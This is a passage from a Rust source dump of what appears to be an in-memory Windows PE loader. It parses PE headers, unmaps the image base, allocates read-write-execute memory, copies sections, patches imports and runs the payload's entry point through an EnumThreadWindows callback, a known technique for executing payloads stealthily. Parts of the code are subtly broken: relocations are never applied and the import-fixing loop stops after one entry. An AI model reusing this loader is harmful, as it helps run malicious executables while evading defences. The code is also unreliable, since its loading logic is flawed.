| return Err(AppError{description: String::from("PE Buffer Reference NULL")}); 40 | } 41 | 42 | // Get DOS Header 43 | pe_dos_hdr = unsafe { std::ptr::read(pe_buf.as_ptr() as *const IMAGE_DOS_HEADER)}; 44 | if pe_dos_hdr.e_magic != IMAGE_DOS_SIGNATURE { 45 | return Err(AppError{description: String::from("Invalid DOS Signature")}); 46 | } 47 | println!("[i] Extracted DOS Header"); 48 | 49 | // Offset of NT Header 50 | nt_hdr_offset = usize::try_from(pe_dos_hdr.e_lfanew).unwrap_or(pe_dos_hdr.e_lfanew as usize); 51 | if nt_hdr_offset > max_nt_hdr_offset { 52 | return Err(AppError { description: String::from("NT Header Offset > 1024") }); 53 | } 54 | 55 | // Get NT Header 56 | pe_nt_hdr = unsafe { 57 | let __nt_hdr_vec = &pe_buf[nt_hdr_offset..]; 58 | std::ptr::read(__nt_hdr_vec.as_ptr() as *const IMAGE_NT_HEADERS64) 59 | }; 60 | 61 | if pe_nt_hdr.Signature != IMAGE_NT_SIGNATURE { 62 | return Err(AppError { description: String::from("Invalid NT Signature") }); 63 | } 64 | println!("[i] Extracted NT Header"); 65 | 66 | // Get File Header Field 67 | pe_file_hdr = pe_nt_hdr.FileHeader; 68 | 69 | // Number of Sections = FileHeader->NumberOfSections 70 | number_of_sections = u32::try_from(pe_file_hdr.NumberOfSections).unwrap_or(pe_file_hdr.NumberOfSections as u32) as usize; 71 | println!("[i] Fetched PE has {} sections", number_of_sections); 72 | 73 | // Offset of Section Header Array is: 74 | // Offset of NT Header + sizeof(Signature(u32)) + sizeof(FileHeader) + FileHeader->SizeOfOptionalHeader 75 | size_of_optional_hdr = u32::try_from(pe_file_hdr.SizeOfOptionalHeader) 76 | .unwrap_or(pe_file_hdr.SizeOfOptionalHeader as u32) as usize; 77 | let section_header_offset: usize = nt_hdr_offset 78 | + std::mem::size_of::() 79 | + std::mem::size_of::() 80 | + size_of_optional_hdr; 81 | 82 | // Get Array of PE Headers 83 | let mut arr_part: &[u8] = &pe_buf[section_header_offset..]; 84 | let mut i:usize = 0; 85 | 86 | while i < number_of_sections { 87 | let section_entry: IMAGE_SECTION_HEADER = unsafe { std::ptr::read(arr_part.as_ptr() as *const IMAGE_SECTION_HEADER)}; 88 | arr_part = &arr_part[std::mem::size_of::()..]; 89 | pe_section_hdr_arr.push(section_entry); 90 | //__print_section_header(§ion_entry); 91 | i = i + 1; 92 | } 93 | 94 | self.dos_hdr = pe_dos_hdr; 95 | self.nt_hdr = pe_nt_hdr; 96 | self.section_hdr_arr = pe_section_hdr_arr; 97 | Ok(()) 98 | } 99 | 100 | // Print DOS Headers 101 | pub fn print_dos_header(&self) { 102 | let dos_hdr: IMAGE_DOS_HEADER = self.dos_hdr; 103 | println!("======================= DOS HEADER ======================="); 104 | println!("[i] Magic Number\t\t\t{:#x}", dos_hdr.e_magic); 105 | println!("[i] Bytes on last page of file\t\t{:#x}", dos_hdr.e_cblp); 106 | println!("[i] Pages in file\t\t\t{}", dos_hdr.e_cp); 107 | println!("[i] Relocations\t\t\t\t{:#x}", dos_hdr.e_crlc); 108 | println!("[i] Size of header in paragraphs\t{}", dos_hdr.e_cparhdr); 109 | println!("[i] Minimum extra paragraphs needed\t{:#x}", dos_hdr.e_minalloc); 110 | println!("[i] Maximum extra paragraphs needed\t{:#x}", dos_hdr.e_maxalloc); 111 | println!("[i] Initial SS value\t\t\t{:#x}", dos_hdr.e_ss); 112 | println!("[i] Initial SP value\t\t\t{:#x}",dos_hdr.e_sp); 113 | println!("[i] Checksum\t\t\t\t{:#x}", dos_hdr.e_csum); 114 | println!("[i] Initial IP value\t\t\t{:#x}", dos_hdr.e_ip); 115 | println!("[i] Initial CS value\t\t\t{:#x}", dos_hdr.e_cs); 116 | println!("[i] File address of relocation table\t{:#x}", dos_hdr.e_lfarlc); 117 | println!("[i] Overlay number\t\t\t{}", dos_hdr.e_ovno); 118 | println!("[i] Reserved words\t\t\t{:?}", dos_hdr.e_res); 119 | println!("[i] OEM identifier\t\t\t{}", dos_hdr.e_oemid); 120 | println!("[i] OEM information\t\t\t{}", dos_hdr.e_oeminfo); 121 | println!("[i] Reserved words\t\t\t{:?}", dos_hdr.e_res2); 122 | println!("[i] File address of new exe header\t{:#x}", {let offset = dos_hdr.e_lfanew; offset}); 123 | println!(); 124 | } 125 | 126 | // Print NT Headers 127 | pub fn print_nt_header(&self) { 128 | let file_hdr: IMAGE_FILE_HEADER = self.nt_hdr.FileHeader; 129 | println!("======================= NT HEADERS ======================="); 130 | println!("[i] Signature\t\t\t\t{}", self.nt_hdr.Signature); 131 | println!("[i] Machine Type\t\t\t{:#x}", file_hdr.Machine.0); 132 | println!("[i] Number of Sections\t\t\t{}", file_hdr.NumberOfSections); 133 | println!("[i] Time Date Stamp\t\t\t{:#x}", file_hdr.TimeDateStamp); 134 | println!("[i] Pointer to Symbol Table\t\t{:#x}", file_hdr.PointerToSymbolTable); 135 | println!("[i] Number of Symbols\t\t\t{}", file_hdr.NumberOfSymbols); 136 | println!("[i] Size of Optional Header\t\t{}",file_hdr.SizeOfOptionalHeader); 137 | println!("[i] Characteristics:\t\t\t{:#x}",file_hdr.Characteristics.0); 138 | self.print_optional_header(); 139 | } 140 | 141 | // Print Optional Header 142 | pub fn print_optional_header(&self) { 143 | let opt_header = self.nt_hdr.OptionalHeader; 144 | let data_dir:[IMAGE_DATA_DIRECTORY; 16] = self.nt_hdr.OptionalHeader.DataDirectory; 145 | println!("==================== Optional HEADERS ===================="); 146 | println!("[i] Magic Number\t\t\t{:#x}", opt_header.Magic.0); 147 | println!("[i] Major Linker Version\t\t{:#x}", opt_header.MajorLinkerVersion); 148 | println!("[i] Minor Linker Version\t\t{:#x}", opt_header.MinorLinkerVersion); 149 | println!("[i] Size of Code\t\t\t{:#x}", opt_header.SizeOfCode); 150 | println!("[i] Size of Initialized Data\t\t{:#x}", opt_header.SizeOfInitializedData); 151 | println!("[i] Size of Uninitialized Data\t\t{:#x}", opt_header.SizeOfUninitializedData); 152 | println!("[i] Address of Entry Point\t\t{:#x}", opt_header.AddressOfEntryPoint); 153 | println!("[i] Base of Code\t\t\t{:#x}", opt_header.BaseOfCode); 154 | println!("[i] Image Base\t\t\t\t{:#x}", {let img_base = opt_header.ImageBase; img_base}); 155 | println!("[i] Section Alignment\t\t\t{:#x}",opt_header.SectionAlignment); 156 | println!("[i] File Alignment\t\t\t{:#x}", opt_header.FileAlignment); 157 | println!("[i] Major Operating System Version\t{:#x}", opt_header.MajorOperatingSystemVersion); 158 | println!("[i] Minor Operating System Version\t{:#x}", opt_header.MinorOperatingSystemVersion); 159 | println!("[i] Major Image Version\t\t\t{:#x}", opt_header.MajorImageVersion); 160 | println!("[i] Minor Image Version\t\t\t{:#x}", opt_header.MinorImageVersion); 161 | println!("[i] Major Subsystem Version\t\t{}", opt_header.MajorSubsystemVersion); 162 | println!("[i] Minor Subsystem Version\t\t{}", opt_header.MinorSubsystemVersion); 163 | println!("[i] Win32 Version\t\t\t{}", opt_header.Win32VersionValue); 164 | println!("[i] Size of Image\t\t\t{}", opt_header.SizeOfImage); 165 | println!("[i] Size of Headers\t\t\t{}", opt_header.SizeOfHeaders); 166 | println!("[i] Checksum\t\t\t\t{}", opt_header.CheckSum); 167 | println!("[i] Subsystem\t\t\t\t{}", opt_header.Subsystem.0); 168 | println!("[i] DLL Characteristics\t\t\t{:#x}", opt_header.DllCharacteristics.0); 169 | println!("[i] Size Of StackReserve\t\t{:#x}", {let s_stck_res = opt_header.SizeOfStackReserve; s_stck_res}); 170 | println!("[i] Size Of Stack Commit\t\t{:#x}", {let s_stck_com = opt_header.SizeOfStackCommit; s_stck_com}); 171 | println!("[i] Size Of Heap Reserve\t\t{:#x}", {let s_heap_res = opt_header.SizeOfHeapReserve; s_heap_res}); 172 | println!("[i] Size Of HeapCommit\t\t\t{:#x}", {let s_heap_com = opt_header.SizeOfHeapCommit; s_heap_com}); 173 | println!("[i] Loader Flags\t\t\t{}", opt_header.LoaderFlags); 174 | println!("[i] Number Of Rva And Sizes\t\t{}", opt_header.NumberOfRvaAndSizes); 175 | println!("[i] Data Directory Entries:"); 176 | println!(); 177 | for i in 0..16 { 178 | println!("[i] Entry\t\t{}", i); 179 | println!("[i] Virtual Address\t{:#x}",data_dir[i].VirtualAddress); 180 | println!("[i] Size\t\t{:#x}",data_dir[i].Size); 181 | println!(); 182 | } 183 | println!(); 184 | } 185 | 186 | pub fn print_headers(&self){ 187 | println!("======================= PE HEADERS ======================="); 188 | self.print_dos_header(); 189 | self.print_nt_header(); 190 | println!("=========================================================="); 191 | println!(); 192 | } 193 | } -------------------------------------------------------------------------------- /src/loader.rs: -------------------------------------------------------------------------------- 1 | use core::ffi::c_void; 2 | use std::ffi::CStr; 3 | use crate::error::AppError; 4 | use windows::core::PCSTR; 5 | use crate::user_struct::*; 6 | use windows::Win32::UI::WindowsAndMessaging::WNDENUMPROC; 7 | use windows::Win32::Foundation::{GetLastError, LPARAM}; 8 | use windows::Win32::System::WindowsProgramming::IMAGE_THUNK_DATA64; 9 | use windows::Win32::System::SystemServices::*; 10 | use windows::Win32::System::Diagnostics::Debug::*; 11 | use windows::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; 12 | use ntapi::ntmmapi::NtUnmapViewOfSection; 13 | use windows::Win32::System::Memory::*; 14 | use windows::Win32::UI::WindowsAndMessaging::EnumThreadWindows; 15 | 16 | // Calculate Checksum 17 | fn __calculate_checksum(buff: &[u8]) -> u32 { 18 | let mut chksum = 0u32; 19 | for i in 0..buff.len() { 20 | chksum = (buff[i] as u32) 21 | .wrapping_mul(i as u32) 22 | .wrapping_add(chksum / 3); 23 | } 24 | chksum 25 | } 26 | 27 | 28 | // Print In Hex 29 | fn __print_hex(buff: &Vec) { 30 | print!("======================= PE HEADERS ======================="); 31 | let mut j: u32 = 0; 32 | let mut k: u32 = 0; 33 | for i in 0..buff.len(){ 34 | if k%16==0{ 35 | println!(); 36 | } 37 | if j%4==0 && k%16 == 0 { 38 | print!("0x"); 39 | } 40 | if j%4==0 && k%16 != 0{ 41 | print!("\t0x"); 42 | } 43 | 44 | print!("{:02x}", buff[i]); 45 | j = j + 1; 46 | k = k + 1; 47 | if i > 254 {break;} 48 | } 49 | println!(); 50 | println!("=========================================================="); 51 | } 52 | 53 | 54 | // Return Data Directory for executable 55 | fn __fetch_data_dir(pe_header: &PeHeaders, dir_id: IMAGE_DIRECTORY_ENTRY) -> Result { 56 | let nt_hdr = pe_header.nt_hdr; 57 | let optional_hdr = nt_hdr.OptionalHeader; 58 | let data_directory: IMAGE_DATA_DIRECTORY; 59 | let dir_index: usize = dir_id.0 as usize; 60 | 61 | if dir_id.0 >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES { 62 | return Err(AppError {description: String::from("Invalid Directory Entry Count")}); 63 | } 64 | 65 | // Get Directory Entries 66 | println!("[i] Fetching Data Directory Entry: {}", dir_index); 67 | data_directory = optional_hdr.DataDirectory[dir_index]; 68 | 69 | 70 | if data_directory.VirtualAddress == 0 { 71 | return Err(AppError {description: String::from("Directory Entry Virtual Address is empty")}) 72 | } 73 | 74 | Ok(data_directory) 75 | } 76 | 77 | 78 | // // Fix Import Address Table 79 | fn __fix_iat(imgbaseptr:u64, module_ptr: Vec) -> Result<(), AppError> { 80 | // Closure to find LoadLibraryA value 81 | let __load_library = |lib_to_load: String| { 82 | let mut vec_to_load:Vec = lib_to_load.as_bytes().to_vec(); 83 | vec_to_load.push(0); 84 | let lib_addr = unsafe{LoadLibraryA(PCSTR(vec_to_load.as_ptr() as *const u8))}; 85 | lib_addr 86 | }; 87 | 88 | let mut pe_hdrs: PeHeaders = PeHeaders::new(); 89 | match pe_hdrs.populate(module_ptr){ 90 | Ok(_val) => _val, 91 | Err(e) => { 92 | return Err(e); 93 | } 94 | }; 95 | 96 | let imports_dir: IMAGE_DATA_DIRECTORY = match __fetch_data_dir(&pe_hdrs, IMAGE_DIRECTORY_ENTRY_IMPORT) { 97 | Ok(val) => val, 98 | Err(e) => { 99 | return Err(e); 100 | } 101 | }; 102 | 103 | let virtual_addr = imports_dir.VirtualAddress as usize; 104 | let max_size = imports_dir.Size as usize; 105 | 106 | 107 | let mut parsed_size: usize = 0; 108 | while parsed_size < max_size { 109 | // lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); 110 | let _offset = virtual_addr + parsed_size + imgbaseptr as usize; 111 | let lib_desc: IMAGE_IMPORT_DESCRIPTOR = unsafe {std::ptr::read(_offset as *const IMAGE_IMPORT_DESCRIPTOR)}; 112 | unsafe{ 113 | if lib_desc.Anonymous.OriginalFirstThunk == 0 && lib_desc.FirstThunk == 0 { 114 | break; 115 | } 116 | } 117 | 118 | let _offset = imgbaseptr as usize + lib_desc.Name as usize; 119 | // let lib_name = std::ptr::read(_offset as *const u8); 120 | // let lib_name = match std::str::from_utf8(&lib_name) { 121 | // Ok(res) => res, 122 | // Err(e) => { 123 | // return Err(AppError{description:String::from("Failed to get lib_name")}); 124 | // } 125 | // }; 126 | let lib_name = unsafe { CStr::from_ptr(_offset as *const i8).to_str().unwrap().to_owned() }; 127 | println!("[i] Library\t{}", lib_name); 128 | let call_via = lib_desc.FirstThunk as usize; 129 | let mut thunk_addr = unsafe { lib_desc.Anonymous.OriginalFirstThunk as usize}; 130 | 131 | if thunk_addr == 0 { 132 | thunk_addr = lib_desc.FirstThunk as usize; 133 | } 134 | 135 | let offset_field = 0; 136 | let offset_thunk = 0; 137 | loop { 138 | let mut field_offset = offset_field + call_via + imgbaseptr as usize; 139 | let mut orign_offset = offset_thunk + thunk_addr + imgbaseptr as usize; 140 | let mut field_thunk = unsafe {std::ptr::read(field_offset as *const IMAGE_THUNK_DATA64)}; 141 | let orign_thunk = unsafe {std::ptr::read(orign_offset as *const IMAGE_THUNK_DATA64)}; 142 | let orign_ordinal = unsafe{orign_thunk.u1.Ordinal}; 143 | 144 | if 0 != (orign_ordinal & IMAGE_ORDINAL_FLAG64) { 145 | let libr_addr = match __load_library(lib_name.clone()){ 146 | Ok(val) => val, 147 | Err(e) => { 148 | let err = format!("Error Occured as: {} {:?}",e, unsafe{GetLastError()}); 149 | return Err(AppError{description: err}); 150 | } 151 | }; 152 | 153 | let mut lprocvec: Vec = unsafe{ CStr::from_ptr(orign_ordinal as *const i8).to_str().unwrap().to_owned().clone().as_bytes().to_vec() }; 154 | lprocvec.push(0); 155 | let lprocname: PCSTR = PCSTR(lprocvec.as_ptr() as *const u8); 156 | let addr = match unsafe{GetProcAddress(libr_addr, lprocname)} { 157 | Some(val) => val as u64, 158 | None => { 159 | let err = format!("GetProcAddress() failed with error: {:?}", unsafe{GetLastError()}); 160 | return Err(AppError{description: err}); 161 | }, 162 | }; 163 | field_thunk.u1.Function = addr; 164 | continue; 165 | } 166 | 167 | unsafe{ 168 | if field_thunk.u1.Function == 0 { 169 | break; 170 | } 171 | } 172 | 173 | unsafe { 174 | if field_thunk.u1.Function == orign_thunk.u1.Function { 175 | let _offset = imgbaseptr + orign_thunk.u1.AddressOfData; 176 | let by_name: IMAGE_IMPORT_BY_NAME = std::ptr::read(_offset as *const IMAGE_IMPORT_BY_NAME); 177 | 178 | println!("[i] Name:\t\t{:?}", by_name.Name); 179 | println!("{:?}", by_name); 180 | } 181 | } 182 | 183 | orign_offset = orign_offset + std::mem::size_of::(); 184 | field_offset = field_offset + std::mem::size_of::(); 185 | break; 186 | } 187 | 188 | parsed_size = parsed_size + std::mem::size_of::(); 189 | }; 190 | Ok(()) 191 | } 192 | 193 | 194 | 195 | // Run PE file 196 | pub fn load_pe(pe_buf: Vec)->Result<(), AppError> { 197 | let mut pe_headers: PeHeaders = PeHeaders::new(); 198 | 199 | // Populate Headers 200 | match pe_headers.populate(pe_buf.clone()) { 201 | Ok(_res) => _res, 202 | Err(e) => { 203 | return Err(e); 204 | } 205 | } 206 | 207 | let mut nt_hdr = pe_headers.nt_hdr; 208 | let section_hdr_arr = pe_headers.section_hdr_arr.clone(); 209 | // Print Headers 210 | // pe_headers.print_headers(); 211 | 212 | // // PE checksum 213 | // { 214 | // checksum = __calculate_checksum(&pe_buf); 215 | // } 216 | // println!("[i] Checksum: {}", checksum); 217 | 218 | println!("[i] PE Size: {}", pe_buf.len()); 219 | 220 | // Fetch BaseRelocation Table Address 221 | let _reloc_dir = match __fetch_data_dir(&pe_headers, IMAGE_DIRECTORY_ENTRY_BASERELOC) { 222 | Ok(val) => val, 223 | Err(e) => { 224 | return Err(e); 225 | } 226 | }; 227 | println!("[i] Fetched BaseRelocation Table Address"); 228 | let preferaddr = nt_hdr.OptionalHeader.ImageBase; 229 | 230 | // Unmap memory 231 | { 232 | let _process_handle: *mut ntapi::winapi::ctypes::c_void = (-1i32) as *mut ntapi::winapi::ctypes::c_void; 233 | let _base_addr: *mut ntapi::winapi::ctypes::c_void = preferaddr as *mut ntapi::winapi::ctypes::c_void; 234 | unsafe { 235 | NtUnmapViewOfSection(_process_handle, _base_addr); 236 | } 237 | } 238 | 239 | println!("[i] Trying to Allocate Memory"); 240 | // Allocate Memory 241 | let pimagebase = unsafe{ 242 | let mut _pimagebase = VirtualAlloc( 243 | Some(preferaddr as *const c_void), 244 | nt_hdr.OptionalHeader.SizeOfImage as usize, 245 | MEM_COMMIT | MEM_RESERVE, 246 | PAGE_EXECUTE_READWRITE 247 | ); 248 | 249 | if 0 == _pimagebase as u32{ 250 | _pimagebase = VirtualAlloc( 251 | Some(std::ptr::null() as *const c_void), 252 | nt_hdr.OptionalHeader.SizeOfImage as usize, 253 | MEM_COMMIT | MEM_RESERVE, 254 | PAGE_EXECUTE_READWRITE 255 | ); 256 | 257 | if 0 == _pimagebase as u32 { 258 | return Err( AppError {description: format!("VirtualAlloc() failed: {:?}", GetLastError())}); 259 | } 260 | } 261 | 262 | // let __pimagebase = _pimagebase as *const u8; 263 | // std::slice::from_raw_parts(__pimagebase, nt_hdr.OptionalHeader.SizeOfImage as usize) 264 | _pimagebase // *mut c_void 265 | }; 266 | 267 | println!("[i] VirtualAlloc() Address\t{:p}", pimagebase); 268 | println!("[i] Source Address\t\t{:p}", pe_buf.as_ptr()); 269 | println!("[i] Filling memory block with PE Data"); 270 | 271 | nt_hdr.OptionalHeader.ImageBase = pimagebase as u64; 272 | 273 | unsafe { 274 | std::ptr::copy_nonoverlapping( 275 | pe_buf.as_ptr(), 276 | pimagebase as *mut u8, 277 | nt_hdr.OptionalHeader.SizeOfHeaders as usize 278 | ); 279 | } 280 | 281 | // let __pimagebase = pimagebase as *const u8; 282 | // let mut _new_arr = unsafe {Vec::from(std::slice::from_raw_parts(__pimagebase, nt_hdr.OptionalHeader.SizeOfImage as usize)) }; 283 | println!("[i] Filling Section Headers"); 284 | for section_hdr in section_hdr_arr { 285 | let vir_addr = section_hdr.VirtualAddress; 286 | let ptr_raw_data = section_hdr.PointerToRawData as usize; 287 | let size_to_copy = section_hdr.SizeOfRawData as usize; 288 | let src = (pe_buf.as_ptr() as u64 + u64::try_from(ptr_raw_data).unwrap_or(ptr_raw_data as u64)) as *const u8; 289 | let dst = (pimagebase as u64 + u64::try_from(vir_addr).unwrap_or(vir_addr as u64)) as *mut u8; 290 | 291 | println!("[i] Copying {} Section from {:p}->{:p}", String::from_utf8_lossy(§ion_hdr.Name), src, dst); 292 | 293 | unsafe { 294 | std::ptr::copy_nonoverlapping( 295 | src, 296 | dst, 297 | size_to_copy 298 | ) 299 | } 300 | } 301 | 302 | let ret_vec = unsafe{ 303 | std::slice::from_raw_parts(pimagebase as *const u8, 304 | nt_hdr.OptionalHeader.SizeOfHeaders as usize).to_vec() 305 | }; 306 | 307 | match __fix_iat(pimagebase as u64, ret_vec){ 308 | Ok(_res) => _res, 309 | Err(e) => { 310 | eprintln!("[!] Failed to fix IAT"); 311 | return Err(e); 312 | } 313 | }; 314 | println!("[i] Fixed IAT"); 315 | 316 | let retaddr = pimagebase as u64 317 | + u64::try_from(nt_hdr.OptionalHeader.AddressOfEntryPoint) 318 | .unwrap_or(nt_hdr.OptionalHeader.AddressOfEntryPoint as u64); 319 | 320 | 321 | 322 | let fn_pointer: WNDENUMPROC = unsafe { std::mem::transmute(retaddr) }; 323 | let res = unsafe {EnumThreadWindows(0u32,fn_pointer,LPARAM(0)) }; 324 | if !res.as_bool() { 325 | return Err( AppError{description: String::from("EnumThreadWindow() Failed")}); 326 | } 327 | Ok(()) 328 | } --------------------------------------------------------------------------------